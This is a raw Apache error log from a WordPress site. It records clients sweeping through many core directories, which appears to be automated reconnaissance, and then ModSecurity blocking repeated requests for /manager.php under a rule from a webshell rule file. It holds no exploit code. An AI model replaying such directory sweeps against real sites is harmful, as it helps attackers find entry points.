[Sat Nov 22 06:41:51.540453 2025] [autoindex:error] [pid 25856:tid 25876] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:51.743962 2025] [autoindex:error] [pid 25856:tid 25881] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:52.810137 2025] [autoindex:error] [pid 25856:tid 25875] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:52.922821 2025] [autoindex:error] [pid 25856:tid 25873] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:54.966504 2025] [autoindex:error] [pid 25856:tid 25859] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:55.062907 2025] [autoindex:error] [pid 25856:tid 25877] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:55.163544 2025] [autoindex:error] [pid 25856:tid 25869] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:55.261924 2025] [autoindex:error] [pid 25856:tid 25864] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:57.439770 2025] [autoindex:error] [pid 25856:tid 25880] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:41:58.683889 2025] [autoindex:error] [pid 25856:tid 25862] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:00.880144 2025] [autoindex:error] [pid 25856:tid 25863] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:01.036172 2025] [autoindex:error] [pid 25856:tid 25878] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:01.131384 2025] [autoindex:error] [pid 25856:tid 25860] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:08.073278 2025] [autoindex:error] [pid 25856:tid 25858] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:09.198508 2025] [autoindex:error] [pid 25856:tid 25862] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:09.298506 2025] [autoindex:error] [pid 25856:tid 25869] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:09.597871 2025] [autoindex:error] [pid 25856:tid 25864] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:09.702251 2025] [autoindex:error] [pid 25856:tid 25882] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:09.841764 2025] [autoindex:error] [pid 25856:tid 25863] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:13.478557 2025] [autoindex:error] [pid 25856:tid 25881] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:14.621711 2025] [autoindex:error] [pid 25856:tid 25878] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:38.985483 2025] [autoindex:error] [pid 25856:tid 25863] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:39.094286 2025] [autoindex:error] [pid 25856:tid 25881] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:39.190412 2025] [autoindex:error] [pid 25856:tid 25882] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:39.301255 2025] [autoindex:error] [pid 25856:tid 25880] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:40.490303 2025] [autoindex:error] [pid 25856:tid 25864] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:40.619991 2025] [autoindex:error] [pid 25856:tid 25877] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:40.743187 2025] [autoindex:error] [pid 25856:tid 25860] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:41.908717 2025] [autoindex:error] [pid 25856:tid 25873] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:43.143517 2025] [autoindex:error] [pid 25856:tid 25880] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:43.280024 2025] [autoindex:error] [pid 25856:tid 25865] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:43.405419 2025] [autoindex:error] [pid 25856:tid 25858] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:44.588274 2025] [autoindex:error] [pid 25856:tid 25868] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:44.683037 2025] [autoindex:error] [pid 25856:tid 25870] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:44.797196 2025] [autoindex:error] [pid 25856:tid 25862] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:42:44.990367 2025] [autoindex:error] [pid 25856:tid 25873] [client 194.5.82.135:20419] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:09.053816 2025] [autoindex:error] [pid 25856:tid 25859] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:21.496908 2025] [autoindex:error] [pid 25856:tid 25865] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:25.805042 2025] [autoindex:error] [pid 25856:tid 25867] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:25.955608 2025] [autoindex:error] [pid 25856:tid 25862] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:30.323861 2025] [autoindex:error] [pid 25856:tid 25880] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:30.451672 2025] [autoindex:error] [pid 25856:tid 25877] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:30.630713 2025] [autoindex:error] [pid 25856:tid 25860] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:30.862807 2025] [autoindex:error] [pid 25856:tid 25873] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:30.963009 2025] [autoindex:error] [pid 25856:tid 25861] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:31.083354 2025] [autoindex:error] [pid 25856:tid 25871] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:31.185792 2025] [autoindex:error] [pid 25856:tid 25863] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:31.321030 2025] [autoindex:error] [pid 25856:tid 25866] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:31.451909 2025] [autoindex:error] [pid 25856:tid 25878] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:52.078191 2025] [autoindex:error] [pid 25856:tid 25881] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:43:54.499173 2025] [autoindex:error] [pid 25856:tid 25871] [client 194.5.82.109:23497] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/maintenance/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 06:56:40.023678 2025] [:error] [pid 53477:tid 53501] [client 212.116.231.26:47684] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSDuKH7Lu30Ku9O40aIGtAAAABQ"]
[Sat Nov 22 06:56:40.847781 2025] [:error] [pid 53479:tid 53553] [client 212.116.231.26:48094] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSDuKG6cicFF3Aas-oShVQAAAJE"]
[Sat Nov 22 06:56:41.699640 2025] [:error] [pid 53478:tid 53509] [client 212.116.231.26:48522] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSDuKQhUYdXBbQswAdQ_6wAAAEA"]
[Sat Nov 22 06:56:42.515103 2025] [:error] [pid 9547:tid 9560] [client 212.116.231.26:48998] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSDuKtClOR5qk7DoMeGlZAAAAUc"]
[Sat Nov 22 06:56:43.349840 2025] [:error] [pid 53478:tid 53526] [client 212.116.231.26:49454] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/manager.php"] [unique_id "aSDuKwhUYdXBbQswAdRAAwAAAFE"]
[Sat Nov 22 06:56:44.179075 2025] [:error] [pid 53566:tid 53570] [client 212.116.231.26:49906] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuLMbSHDBkRbwMbd5ndAAAAMI"]
[Sat Nov 22 06:56:45.012734 2025] [:error] [pid 9547:tid 9553] [client 212.116.231.26:50342] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuLdClOR5qk7DoMeGligAAAUA"]
